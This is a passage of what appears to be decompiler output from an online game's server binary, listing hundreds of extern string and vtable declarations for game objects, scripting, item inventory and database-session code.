asc_5C3E00[]; // idb extern char aShineobject_71[]; // idb extern char asc_5C3E90[]; // idb extern char asc_5C3EE0[90]; // weak extern char aShineobject_54[]; // idb extern char asc_5C3F80[]; // idb extern char aRulesofenga_13[]; // idb extern char aRulesofenga_10[]; // idb extern char a__9dataShin_57[]; // idb extern char aScenariobook_7[]; // idb extern char aScenariobook_6[]; // idb extern char aScenariobook_8[]; // idb extern char aScenariobooksh[]; // idb extern char aScenariobook_4[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aMovieTheater_1[]; // idb extern char aMovieTimelim_0[]; // idb extern char aMovieTimelimit[]; // idb extern char aMovieTimelim_1[]; // idb extern char aMovieTheater_3[]; // idb extern char aMovieTheater_5[]; // idb extern char aInitflag[]; // idb extern char aMovieTheaterT_[]; // idb extern char aScenariobook_3[]; // idb extern char aScenariobook_2[]; // idb extern char aMovieCinemac_3[]; // idb extern char aScriptname[]; // idb extern char aPinescript[]; // idb extern char aScenariobook_0[]; // idb extern char aMovieCinemacom[]; // idb extern char aMovieCinemac_4[]; // idb extern char aScriptError[]; // idb extern char aMovieCinemac_5[]; // idb extern char aMovieCinemac_2[]; // idb extern char aMovieCinemac_1[]; // idb extern char aMovieCinemac_6[]; // idb extern char aMovieCinemac_0[]; // idb extern int (*ScriptInterrupt::ScriptInterruptBase::_vftable_)(); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptAreaEntry::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptAreaLeave::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptNPCClickHandle::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptNPCClickIndex::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptNPCClickAny::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptObjectDeadHandle::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptObjectDeadIndex::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptMobEleminate::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptPlayerEleminate::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptGuildEleminate::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptInterval::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptHPLow::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptTimeOut::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptKillEnemy::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptTargetChange::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptPlayerDead::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptPickUpItemIndex::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptAdmin::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptHPFull::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptHPUpper::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptManager::_vftable_[3])(__int16 hnd); // weak extern char aScriptinter_11[]; // idb extern char aScriptinter_43[]; // idb extern char aScriptinter_10[]; // idb extern char aScriptinter_34[]; // idb extern char aScriptinter_23[]; // idb extern char aScriptinterr_6[]; // idb extern char aScriptinter_32[]; // idb extern char aScriptinterr_2[]; // idb extern char aScriptinter_16[]; // idb extern char aScriptinter_13[]; // idb extern char aScriptinter_14[]; // idb extern char aScriptinterr_9[]; // idb extern char aScriptinterr_0[]; // idb extern char aScriptinter_15[]; // idb extern char aScriptinter_22[]; // idb extern char aScriptinterr_5[]; // idb extern char aScriptinterr_4[]; // idb extern char aScriptinter_20[]; // idb extern char aScriptinterr_7[]; // idb extern char aScriptinter_40[]; // idb extern char aScriptinter_31[]; // idb extern char aScriptinter_39[]; // idb extern char aScriptinterrup[]; // idb extern char aScriptinter_21[]; // idb extern char aScriptinter_17[]; // idb extern char aScriptinter_26[]; // idb extern char aScriptinter_38[]; // idb extern char aScriptinter_27[]; // idb extern char aScriptinter_30[]; // idb extern char aScriptinter_33[]; // idb extern char aScriptinter_24[]; // idb extern char aScriptinter_36[]; // idb extern char aScriptinter_35[]; // idb extern char aScriptinterr_8[]; // idb extern char aScriptinterr_1[]; // idb extern char aScriptinter_12[]; // idb extern char aScriptinter_29[]; // idb extern char aScriptinter_19[]; // idb extern char aScriptinter_42[]; // idb extern char aScriptinter_18[]; // idb extern char aScriptinter_25[]; // idb extern char aScriptinter_37[]; // idb extern char aScriptinter_28[]; // idb extern char aScriptinter_44[]; // idb extern char aScriptinter_41[]; // idb extern char aScriptinterr_3[]; // idb extern char asc_5C521C[]; // idb extern char asc_5C5258[]; // idb extern int (__stdcall *ScriptInterrupt::ScriptInteruptWinGuild::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); // weak extern char aWinguild[9]; // weak extern char asc_5C52D8[]; // idb extern char asc_5C5314[]; // idb extern char asc_5C5350[]; // idb extern char asc_5C5394[]; // idb extern char asc_5C53C8[]; // idb extern char asc_5C540C[]; // idb extern char asc_5C5440[]; // idb extern char asc_5C5474[]; // idb extern char asc_5C54A8[]; // idb extern char asc_5C54DC[]; // idb extern char asc_5C550C[]; // idb extern char asc_5C5538[]; // idb extern char aServermenufu_0[]; // idb extern char aServermenuf_10[]; // idb extern char aServermenuacto[]; // idb extern char aServermenuac_0[]; // idb extern char aServermenuac_2[]; // idb extern char aServermenuac_3[]; // idb extern char aServermenuac_1[]; // idb extern char asc_5C5778[]; // idb extern char asc_5C57B4[]; // idb extern char asc_5C57EC[]; // idb extern char asc_5C5828[]; // idb extern char aSetitemdataS_9[]; // idb extern char aSetitemdataE_5[]; // idb extern char aSetitemdataE_2[]; // idb extern char aSetitemdataE_4[]; // idb extern char aSetitemdataE_0[]; // idb extern char aSetitemdataE_1[]; // idb extern char aSetitemdataEff[]; // idb extern char aSetitemdataE_3[]; // idb extern char aSetitemdataS_1[]; // idb extern char aSetitemdataS_5[]; // idb extern char aSetitemdataSet[]; // idb extern char a__9dataShineSe[]; // idb extern char aSetitemdataS_0[]; // idb extern char aSetitemdataS_8[]; // idb extern char aSetitemclassif[]; // idb extern char aSetitemclass_0[]; // idb extern char aSetitemclass_2[]; // idb extern char a__9dataShin_21[]; // idb extern char aSetitemdataS_7[]; // idb extern char aSetitemdataS_4[]; // idb extern char aSetitemdataS_6[]; // idb extern char aSetitemdataS_2[]; // idb extern char aSetitemdataSki[]; // idb extern char aAbnormalsta_43[]; // idb extern char aSetitemdataS_3[]; // idb extern char asc_5C5DC0[]; // idb extern char asc_5C5DF0[]; // idb extern char asc_5C5E2C[]; // idb extern char asc_5C5E68[]; // idb extern char asc_5C5EB8[]; // idb extern char asc_5C5F04[]; // idb extern char asc_5C5F40[]; // idb extern char asc_5C5F90[]; // idb extern char aShineobject_82[]; // idb extern char asc_5C6038[]; // idb extern char asc_5C6088[]; // idb extern char asc_5C6128[]; // idb extern char asc_5C6180[]; // idb extern char asc_5C61E0[]; // idb extern char asc_5C6290[]; // idb extern char asc_5C62E8[]; // idb extern char asc_5C6340[]; // idb extern char asc_5C6390[]; // idb extern char asc_5C63F0[]; // idb extern char asc_5C6440[]; // idb extern char asc_5C6498[]; // idb extern char asc_5C64F0[]; // idb extern char asc_5C653C[]; // idb extern char aShineobject_98[]; // idb extern char asc_5C65B8[]; // idb extern char asc_5C65F8[]; // idb extern char asc_5C6658[]; // idb extern char asc_5C66A8[]; // idb extern char asc_5C6708[]; // idb extern char asc_5C6758[]; // idb extern char asc_5C67B0[]; // idb extern char asc_5C67F8[]; // idb extern char asc_5C6844[]; // idb extern char asc_5C6880[]; // idb extern char asc_5C68D0[]; // idb extern char asc_5C6910[]; // idb extern char asc_5C6968[]; // idb extern char aShineobject_13[]; // idb extern char asc_5C69F8[]; // idb extern char asc_5C6A50[]; // idb extern char asc_5C6AA8[]; // idb extern char asc_5C6B08[]; // idb extern char asc_5C6B58[]; // idb extern char asc_5C6BA4[]; // idb extern char asc_5C6BE0[]; // idb extern char asc_5C6C20[]; // idb extern char aGamedbsessi_93[]; // idb extern char aGamedbsessi_66[]; // idb extern char aGamedbsessio_5[]; // idb extern char asc_5C6D08[]; // idb extern char asc_5C6D4C[]; // idb extern char asc_5C6D80[]; // idb extern char asc_5C6DB8[]; // idb extern char asc_5C6DFC[]; // idb extern char asc_5C6E30[]; // idb extern char asc_5C6E74[]; // idb extern char asc_5C6EA8[]; // idb extern char asc_5C6EEC[]; // idb extern char asc_5C6F1C[]; // idb extern char asc_5C6F5C[]; // idb extern char asc_5C6F90[]; // idb extern char asc_5C6FD8[]; // idb extern char aGamedbsessi_23[]; // idb extern char aGamedbsessi_54[]; // idb extern char aGamedbsessi_29[]; // idb extern char aGamedbsessi_72[]; // idb extern char asc_5C710C[]; // idb extern char aGamedbsessi_89[]; // idb extern char asc_5C7188[]; // idb extern char asc_5C71D0[]; // idb extern char asc_5C7208[]; // idb extern char asc_5C7250[]; // idb extern char asc_5C7288[]; // idb extern char asc_5C72D8[]; // idb extern char aPlayerHnd[]; // idb extern char aCannotFind[]; // idb extern char asc_5C7330[]; // idb extern char asc_5C7364[]; // idb extern char asc_5C73A0[]; // idb extern char asc_5C73E0[]; // idb extern char asc_5C7424[]; // idb extern char asc_5C7458[]; // idb extern char asc_5C74B0[]; // idb extern char aGds_nc_itemdb_[]; // idb extern char aGds_nc_itemd_0[43]; // weak extern char asc_5C755C[]; // idb extern char aGamedbsessio_3[]; // idb extern char aShineobject_10[]; // idb extern char asc_5C7608[]; // idb extern char asc_5C7658[]; // idb extern char asc_5C76A8[]; // idb extern char asc_5C76E8[]; // idb extern char asc_5C7728[]; // idb extern char asc_5C7780[]; // idb extern char asc_5C77C8[]; // idb extern char aShineobject_11[]; // idb extern char aEqu3dI64u_40s[]; // idb extern char aInv3dI64u_40s[]; // idb extern char asc_5C7880[]; // idb extern char asc_5C78B8[]; // idb extern char asc_5C7928[]; // idb extern char asc_5C79A8[]; // idb extern char asc_5C7A08[]; // idb extern char asc_5C7A70[]; // idb extern char asc_5C7AC8[]; // idb extern char aShineobject_12[]; // idb extern char asc_5C7B50[]; // idb extern char asc_5C7B9C[]; // idb extern char asc_5C7BD8[]; // idb extern char aItemsmallbag_1[]; // idb extern char asc_5C7C40[]; // idb extern char asc_5C7C88[]; // idb extern char asc_5C7CCC[]; // idb extern char aIteminventoryI[]; // idb extern char aIteminvento_13[]; // idb extern char aIteminvento_14[]; // idb extern char asc_5C7DC8[]; // idb extern char asc_5C7E10[]; // idb extern char asc_5C7E58[]; // idb extern char asc_5C7EA8[]; // idb extern char asc_5C7F08[]; // idb extern char asc_5C7F58[]; // idb extern char aGamedbsessi_55[]; // idb extern char asc_5C7FBC[]; // idb extern char aGamedbsessi_14[]; // idb extern char asc_5C8018[]; // idb extern char asc_5C8044[]; // idb extern char asc_5C8070[]; // idb extern char asc_5C80B0[]; // idb extern char aGamedbsessi_21[]; // idb extern char asc_5C8148[]; // idb extern char asc_5C81A8[]; // idb extern char asc_5C8200[]; // idb extern char asc_5C8240[]; // idb extern char asc_5C8288[]; // idb extern char asc_5C82E4[]; // idb extern char asc_5C8318[]; // idb extern char aGamedbsessi_87[]; // idb extern char asc_5C838C[]; // idb extern char asc_5C83BC[]; // idb extern char asc_5C83F0[]; // idb extern char asc_5C8420[]; // idb extern char asc_5C846C[]; // idb extern char asc_5C849C[]; // idb extern char asc_5C84C8[]; // idb extern char asc_5C84F4[]; // idb extern char asc_5C8528[]; // idb extern char aDropitemgroups[66]; // weak extern char asc_5C85AC[]; // idb extern char asc_5C85DC[]; // idb extern char aShineobject_58[]; // idb extern char aItemdismantl_2[]; // idb extern char aItemdismantlep[]; // idb extern char aItemdismantl_1[]; // idb extern char aItemdismantl_4[]; // idb extern char aItemdismantl_0[]; // idb extern char aItemdismantl_3[]; // idb extern char asc_5C8770[]; // idb extern char asc_5C87C0[]; // idb extern char aGamedbsessi_39[]; // idb extern char aGamedbsessi_15[]; // idb extern char asc_5C8854[]; // idb extern char aIteminventor_2[]; // idb extern char aIteminventor_4[]; // idb extern char aIteminvento_16[]; // idb extern char aIteminventor_3[]; // idb extern char aIteminvento_15[]; // idb extern char asc_5C8950[]; // idb extern char asc_5C89A0[]; // idb extern char asc_5C89E0[]; // idb extern char aShineobject_30[]; // idb extern char asc_5C8A88[]; // idb extern char asc_5C8AB4[]; // idb extern char asc_5C8AF0[]; // idb extern char aShineobject_96[]; // idb extern char aGamedbsessi_63[]; // idb extern char asc_5C8B90[]; // idb extern char asc_5C8BBC[]; // idb extern char asc_5C8BEC[]; // idb extern char asc_5C8C20[]; // idb extern char asc_5C8C68[]; // idb extern char asc_5C8CB8[]; // idb extern char asc_5C8CFC[]; // idb extern char asc_5C8D30[]; // idb extern char asc_5C8D88[]; // idb extern char asc_5C8DD8[]; // idb extern char asc_5C8E20[]; // idb extern char asc_5C8E68[]; // idb extern char asc_5C8EA0[]; // idb extern char asc_5C8ED0[]; // idb extern char asc_5C8EFC[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char asc_5C8F48[]; // idb extern char asc_5C8F90[]; // idb extern char asc_5C8FD8[]; // idb extern char asc_5C901C[]; // idb extern char aGamedbsessi_98[]; // idb extern char aGamedbsessi_48[]; // idb extern char asc_5C90B4[]; // idb extern char aGamedbsessi_57[]; // idb extern char aGamedbsessi_69[]; // idb extern char asc_5C913C[]; // idb extern char asc_5C9164[]; // idb extern char asc_5C919C[]; // idb extern char aIteminventor_9[]; // idb extern char aIteminventor_8[]; // idb extern char aIteminventor_6[]; // idb extern char aIteminvento_10[]; // idb extern char aShineobject_64[]; // idb extern char asc_5C92B0[]; // idb extern char asc_5C92F4[]; // idb extern char asc_5C9330[]; // idb extern char asc_5C9378[]; // idb extern char asc_5C93B0[]; // idb extern char asc_5C93F4[]; // idb extern char asc_5C9428[]; // idb extern char asc_5C946C[]; // idb extern char aGamedbsessi_84[]; // idb extern char asc_5C94CC[]; // idb extern char aGamedbsessi_96[]; // idb extern char asc_5C952C[]; // idb extern char aGamedbsessi_46[]; // idb extern char asc_5C958C[]; // idb extern char aGamedbsessi_76[]; // idb extern char aGamedbsessi_13[]; // idb extern char aShineobject_62[]; // idb extern char asc_5C966C[]; // idb extern char asc_5C96A8[]; // idb extern char asc_5C96F8[]; // idb extern char asc_5C9754[]; // idb extern char aItemrelocati_9[]; // idb extern char aItemrelocati_7[]; // idb extern char aItemrelocation[]; // idb extern char aItemrelocati_0[]; // idb extern char aItemrelocati_8[]; // idb extern char aItemrelocati_2[]; // idb extern char aItemrelocati_3[]; // idb extern char aItemrelocati_6[]; // idb extern char aItemrelocati_4[]; // idb extern char aItemrelocati_5[]; // idb extern char aItemrelocati_1[]; // idb extern char asc_5C99A0[]; // idb extern char asc_5C99D0[]; // idb extern char asc_5C9A0C[]; // idb extern char aGamedbsessi_85[]; // idb extern char aGamedbsessi_77[]; // idb extern char aGamedbsessi_33[]; // idb extern char aGamedbsessio_4[]; // idb extern char asc_5C9B10[]; // idb extern char asc_5C9B40[]; // idb extern char aGamedbsessi_80[]; // idb extern char aMergeError[14]; // weak extern char asc_5C9BC0[]; // idb extern char aGamedbsessi_73[]; // idb extern char asc_5C9C2C[]; // idb extern char aGamedbsessi_38[]; // idb extern char asc_5C9C94[]; // idb extern char aSplitmergeErro[18]; // weak extern char asc_5C9CD4[3]; // weak extern char asc_5C9CD8[]; // idb extern char asc_5C9D10[]; // idb extern char asc_5C9D44[]; // idb extern char asc_5C9D78[]; // idb extern char asc_5C9DC0[]; // idb extern char asc_5C9DF8[]; // idb extern char asc_5C9E28[]; // idb extern char asc_5C9E6C[]; // idb extern char asc_5C9EA0[]; // idb extern char asc_5C9ED8[]; // idb extern char asc_5C9F24[]; // idb extern char asc_5C9F5C[]; // idb extern char asc_5C9F94[]; // idb extern char aGamedbsessi_24[]; // idb extern char asc_5CA000[]; // idb extern char aShineobject_85[]; // idb extern char asc_5CA070[]; // idb extern char asc_5CA0B8[]; // idb extern char asc_5CA0F0[]; // idb extern char asc_5CA128[]; // idb extern char asc_5CA170[]; // idb extern char aMinigame[]; // idb extern char aTileall[]; // idb extern char aAccessory[]; // idb extern char aPlayer_0[]; // idb extern char aFurniture[]; // idb extern char asc_5CA288[]; // idb extern char asc_5CA2C8[]; // idb extern char asc_5CA2F8[]; // idb extern char asc_5CA330[]; // idb extern char asc_5CA378[]; // idb extern char asc_5CA3B8[]; // idb extern char asc_5CA408[74]; // weak extern char asc_5CA458[]; // idb extern char asc_5CA4A8[]; // idb extern char asc_5CA4E0[]; // idb extern char asc_5CA538[]; // idb extern char asc_5CA580[]; // idb extern char asc_5CA5D0[]; // idb extern char asc_5CA614[]; // idb extern char aIteminvento_12[]; // idb extern char aIteminventor_5[]; // idb extern char aIteminvento_11[]; // idb extern char aIteminvento_17[]; // idb extern char aIteminventor_0[]; // idb extern char asc_5CA710[]; // idb extern char asc_5CA770[]; // idb extern char asc_5CA7C0[]; // idb extern char asc_5CA800[]; // idb extern char asc_5CA834[]; // idb extern char asc_5CA864[]; // idb extern char aGamedbsessi_95[]; // idb extern char asc_5CA8C0[]; // idb extern char aGamedbsessi_51[]; // idb extern char aSplitError[14]; // weak extern char aGamedbsessi_19[]; // idb extern char asc_5CA958[]; // idb extern char aGamedbsessi_18[]; // idb extern char asc_5CA9B0[]; // idb extern char asc_5CAA00[]; // idb extern char asc_5CAA50[]; // idb extern char asc_5CAA98[]; // idb extern char asc_5CAAE8[]; // idb extern char asc_5CAB30[]; // idb extern char asc_5CAB7C[]; // idb extern char asc_5CABB0[]; // idb extern char aItemmslog[]; // idb extern char asc_5CABF0[]; // idb extern char asc_5CAC38[]; // idb extern char asc_5CAC90[]; // idb extern char asc_5CACE8[]; // idb extern char asc_5CAD2C[]; // idb extern char asc_5CAD64[]; // idb extern char aGamedbsessi_16[]; // idb extern char aGamedbsessi_60[]; // idb extern char aItem_randomo_0[]; // idb extern char aItem_randomopt[]; // idb extern char aItem_getupgrad[]; // idb extern char aItem_isupsourc[]; // idb extern char aItem_adjupgrad[]; // idb extern char aItem_adjfailco[]; // idb extern char asc_5CAEB4[]; // idb extern char asc_5CAEE0[]; // idb extern char asc_5CAF1C[]; // idb extern char aItem_upgradeNo[]; // idb extern char aItem_upgradeTa[]; // idb extern char asc_5CAF90[]; // idb extern char asc_5CAFD8[]; // idb extern char asc_5CB028[]; // idb extern char asc_5CB078[]; // idb extern char asc_5CB0C8[]; // idb extern char asc_5CB118[]; // idb extern char asc_5CB160[]; // idb extern char asc_5CB1AC[]; // idb extern char asc_5CB1E8[]; // idb extern char asc_5CB228[]; // idb extern char aShineobjectS_2[]; // idb extern char asc_5CB2A0[]; // idb extern char asc_5CB2D8[]; // idb extern char asc_5CB328[]; // idb extern char asc_5CB378[]; // idb extern char asc_5CB3BC[]; // idb extern char asc_5CB3FC[]; // idb extern char asc_5CB430[]; // idb extern char asc_5CB458[]; // idb extern char asc_5CB490[]; // idb extern char asc_5CB4C4[]; // idb extern char aUseeffectUs_43[]; // idb extern char aUseeffectUs_12[]; // idb extern char asc_5CB638[]; // idb extern char asc_5CB684[]; // idb extern char asc_5CB6C4[]; // idb extern char aRoarNull[]; // idb extern char aRoarNullReturn[]; // idb extern char aShineobject_52[]; // idb extern char asc_5CB754[]; // idb extern char aB[]; // idb extern char asc_5CB7A0[]; // idb extern char a010u010u010u[]; // idb extern char aShineobject_46[]; // idb extern char aCannotOutMinih[23]; // weak extern char aItemident[]; // idb extern char asc_5CB858[]; // idb extern char asc_5CB8A0[]; // idb extern char aCannotFindPlay[]; // idb extern char asc_5CB918[]; // idb extern char asc_5CB950[]; // idb extern char asc_5CB998[]; // idb extern char aFurniture_areD[]; // idb extern char asc_5CB9E0[]; // idb extern char asc_5CBA1C[]; // idb extern char asc_5CBA4C[]; // idb extern char asc_5CBA78[]; // idb extern char asc_5CBAA8[]; // idb extern char asc_5CBAE0[]; // idb extern char asc_5CBB18[]; // idb extern char asc_5CBB50[]; // idb extern char asc_5CBB8C[]; // idb extern char asc_5CBBC0[]; // idb extern char asc_5CBBFC[]; // idb extern char asc_5CBC30[]; // idb extern char asc_5CBC68[]; // idb extern char asc_5CBCA0[]; // idb extern char asc_5CBD90[]; // idb extern char asc_5CBDDC[]; // idb extern char aShineobjectc_8[]; // idb extern char asc_5CBE60[]; // idb extern char asc_5CBEA8[]; // idb extern char asc_5CBEE0[]; // idb extern char asc_5CBF14[]; // idb extern char asc_5CBF48[]; // idb extern char asc_5CBF7C[]; // idb extern char asc_5CBFB8[]; // idb extern char asc_5CBFF0[]; // idb extern char aShineobjectc_9[]; // idb extern char asc_5CC060[]; // idb extern char asc_5CC0A0[]; // idb extern int (__thiscall *MobTargetAggresiveALL::_vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); // weak extern int (__stdcall *PacketContainerBase::_vftable_)(int sklidx); // weak extern int (*ShineObjectClass::ShineObject::_vftable_[4])(); // weak extern char asc_5CCBD4[]; // idb extern char asc_5CCC04[]; // idb extern char asc_5CCC34[]; // idb extern char asc_5CCC60[]; // idb extern char aTooManyBroadca[]; // idb extern int (*ShineObjectClass::ShineDropItem::_vftable_)(); // weak extern int (*ShineObjectClass::ShineEffectObject::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMagicField::_vftable_)(); // weak extern int (__thiscall *MobTargetAggresiveNoLevel::_vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); // weak extern char asc_5CEC2C[]; // idb extern char asc_5CEC64[]; // idb extern char aErrorInKeepfro[22]; // weak extern char aSuccessToSilen[19]; // weak extern char asc_5CECC0[]; // idb extern int (__stdcall *ShineObjectEachList::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *ShineObjectManager::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *PacketContainer::_vftable_)(int hd); // weak extern char aPacketcontaine[]; // idb extern char aPacketcontai_0[]; // idb extern char aShineobjectc_5[]; // idb extern int (__stdcall *VectorClass::UnitVector::_vftable_)(int sklidx); // weak extern char aSlantedcoor_17[]; // idb extern char aSlantedcoord_8[]; // idb extern char aSlantedcoor_16[]; // idb extern char aDamagelog[]; // idb extern char asc_5CEE68[]; // idb extern char asc_5CEEA8[]; // idb extern char asc_5CEEF0[]; // idb extern char asc_5CEF1C[]; // idb extern char asc_5CEF48[]; // idb extern char asc_5CEF74[]; // idb extern char asc_5CEFA8[]; // idb extern char asc_5CEFDC[]; // idb extern int (*ShineObjectClass::ShineMobileObject::_vftable_)(); // weak extern char asc_5CFB3C[]; // idb extern char asc_5CFB78[]; // idb extern int (__stdcall *MobTargetPlayerCaptivate::_vftable_)(int, #325 *pObj, int distancesquar); // weak extern char aShineobject_88[]; // idb extern char asc_5CFC38[]; // idb extern char asc_5CFC70[]; // idb extern char asc_5CFCA8[]; // idb extern char asc_5CFCE0[]; // idb extern char asc_5CFD24[]; // idb extern char asc_5CFD58[]; // idb extern char asc_5CFD9C[]; // idb extern char aInvalidProtoco[]; // idb extern char aDD[]; // idb extern char asc_5CFDEC[]; // idb extern int (*ShineObjectClass::ShineDoor::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMiniHouse::_vftable_)(); // weak extern char asc_5D13C4[]; // idb extern char asc_5D13F4[]; // idb extern char asc_5D1424[]; // idb extern char asc_5D145C[]; // idb extern char aCharSo_disconn[]; // idb extern char asc_5D14A4[]; // idb extern char asc_5D14E4[]; // idb extern char asc_5D1514[]; // idb extern char aShineobjecte_0[]; // idb extern char aListnoCount[]; // idb extern char aShineobjecteac[]; // idb extern char aShineobjectm_2[]; // idb extern char aShineobjectm_0[]; // idb extern char aShineobjectl_1[]; // idb extern char aShineobjectman[]; // idb extern int (__stdcall *ShineCharRegnumFinder::_vftable_)(int, __int16 handle); // weak extern char aShinecharregnu[]; // idb extern int (__stdcall *ShineCharIDFinder::_vftable_)(int, __int16 handle); // weak extern char aShinecharidfin[]; // idb extern char aShineobjectm_4[]; // idb extern char aShineobjectm_5[]; // idb extern char aSlantedcoord_3[]; // idb extern char aShineobject_66[]; // idb extern char asc_5D171C[]; // idb extern char asc_5D1750[]; // idb extern char asc_5D17A8[]; // idb extern char asc_5D17F0[]; // idb extern char aWorldmanage_35[]; // idb extern char aWorldmanage_16[]; // idb extern char aWorldmanage_24[]; // idb extern char aWorldmanage_56[]; // idb extern char aGamedbsessio_2[]; // idb extern char aGamedbsessi_25[]; // idb extern char aGamedbsessi_41[]; // idb extern char aGamedbsessi_36[]; // idb extern char aGamedbsessi_11[]; // idb extern char asc_5D1A88[]; // idb extern char asc_5D1ABC[]; // idb extern char asc_5D1AF8[]; // idb extern char asc_5D1B30[]; // idb extern char asc_5D1B74[]; // idb extern char asc_5D1BB8[]; // idb extern char asc_5D1C08[]; // idb extern char asc_5D1C44[]; // idb extern char aShineobjectc_6[]; // idb extern char aIncorrectBit[]; // idb extern char asc_5D1CC4[]; // idb extern char aRegistNumberIn[]; // idb extern char aInvalidregistl[]; // idb extern char asc_5D1CF8[]; // idb extern char asc_5D1D34[]; // idb extern char asc_5D1D78[]; // idb extern char aShineobject_84[]; // idb extern char aShineobject_51[]; // idb extern char asc_5D1E30[]; // idb extern char asc_5D1E74[]; // idb extern char aProtocollogger[]; // idb extern char aProtocollogg_0[]; // idb extern char asc_5D1EE0[]; // idb extern char asc_5D1F10[]; // idb extern char aListcheckstruc[]; // idb extern char aListWrong[]; // idb extern char aShineobject_86[]; // idb extern char aShineobjectc_7[]; // idb extern char asc_5D1FCC[]; // idb extern char aSlantedcoord_6[]; // idb extern char asc_5D203C[]; // idb extern char asc_5D2068[]; // idb extern char asc_5D20A0[]; // idb extern char aAllinmap1[]; // idb extern char aTooManyLoop[]; // idb extern char aAllinmap0[10]; // weak extern char asc_5D2134[]; // idb extern char aUnlinkedObject[]; // idb extern char asc_5D2174[]; // idb extern char aAllinmap3[]; // idb extern char aAllinmap2[10]; // weak extern char asc_5D21C0[]; // idb extern char aSo_allofrang_6[]; // idb extern char aSo_allofrang_1[]; // idb extern char aSo_allofrang_5[]; // idb extern char aSo_allofrangen[]; // idb extern char asc_5D2314[]; // idb extern char asc_5D2348[]; // idb extern char aSo_allofrang_2[]; // idb extern char aSo_allofrang_3[]; // idb extern char aSo_allofrang_4[]; // idb extern char aSo_allofrang_0[]; // idb extern char asc_5D23D4[]; // idb extern char asc_5D240C[]; // idb extern char asc_5D2444[]; // idb extern char asc_5D247C[]; // idb extern char asc_5D24BC[]; // idb extern char aShineobjectl_2[]; // idb extern char asc_5D2538[]; // idb extern char asc_5D2570[]; // idb extern int (*ShineObjectClass::ShineAxialFlag::_vftable_)(); // weak extern int (*ShineObjectClass::ShineMob::_vftable_)(); // weak extern int (*ShineObjectClass::ShineBandit::_vftable_)(); // weak extern int (*ShineObjectClass::ShineServant::_vftable_)(); // weak extern int (*ShineObjectClass::ShinePlayer::_vftable_)(); // weak extern char asc_5D5D44[]; // idb extern char asc_5D5D78[39]; // weak extern char asc_5D5DA0[41]; // weak extern char asc_5D5DCC[41]; // weak extern char asc_5D5DF8[52]; // weak extern char asc_5D5E2C[]; // idb extern int (*ShineObjectClass::ShineNPC::_vftable_)(); // weak extern char aShineobjectl_0[]; // idb extern char aShineobjectl_4[]; // idb extern char aShineobjectm_1[]; // idb extern char asc_5D6A30[]; // idb extern char asc_5D6A7C[]; // idb extern char asc_5D6AB0[]; // idb extern char asc_5D6AF4[]; // idb extern char asc_5D6B28[]; // idb extern char asc_5D6B64[]; // idb extern char asc_5D6B94[]; // idb extern char aVoidCharatersk[]; // idb extern char aShineobjectl_3[]; // idb extern char aShineobjectlis[]; // idb extern char a__largeobjectb[]; // idb extern char aShineobjectm_3[]; // idb extern char pcName[]; // idb extern char aBroadcastlog[]; // idb extern char aInvalidprotoco[]; // idb extern char asc_5D6CE8[]; // idb extern char asc_5D6D04[]; // idb extern char asc_5D6D20[]; // idb extern char asc_5D6D44[]; // idb extern char asc_5D6D68[]; // idb extern char asc_5D6D84[]; // idb extern char asc_5D6DA4[]; // idb extern char aCoordrepairlog[]; // idb extern char aEldlocatelog[]; // idb extern char aShinemobileo_0[]; // idb extern char aShineobjectS_0[]; // idb extern char 